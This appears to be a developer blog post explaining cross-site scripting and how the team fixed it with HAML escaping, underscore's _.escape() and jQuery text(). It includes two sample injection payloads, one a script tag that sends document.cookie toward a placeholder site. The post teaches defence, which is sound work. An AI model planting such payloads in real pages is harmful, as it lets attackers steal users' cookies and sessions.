Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

In simple terms, it’s a client side vulnerability where a user would intentionally input some malicious script in order for it to execute. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

XSS defense philosophy by OWASP says that

We can potentially insert any number of scripts and execute any number of malicious methods if not handled properly.

Example 1:

employee_name=“<script>window.location.href=’somesite’+alert(document.cookie)</script>”

%h1 #{employee_name}

Which will send sensitive data to other site.

Example 2:

<div><script>executeMethod()</script></div>

executeMethod() => {
	// malicious code
}

How to prevent it..

Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data.

In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
Use appropriate response headers. To prevent XSS in HTTP responses that aren’t intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.

How we handled it..

In all the applications wherever we had potential XSS vulnerabilities we use output encoding to make sure that the scripts were not being executed whenever the data is loaded. As we are already using underscore.js library for our frontend, it provides an inbuilt method as _.escape() to handle such cases. In some places we have a rich text editor so XSS is handled internally by it. In some cases where we are rendering the UI from the backend itself there we had to write some regex in order to sanitize the output.

In other cases where we are using haml as our templating engine we made changes from

%h4.text-dark #{@variable[0].name}
-# to
%h4.text-dark=@variable[0].name

And in components,

`<h4>${variable_name}</h4>`
// to
`<h4>${_.escape(variable_name)}</h4>`

Also, wherever required instead of using the html() we stuck to using text().

For example

$(@parentEl).find('.period-text').html(text)
# was changed to
$(@parentEl).find('.period-text').text(text)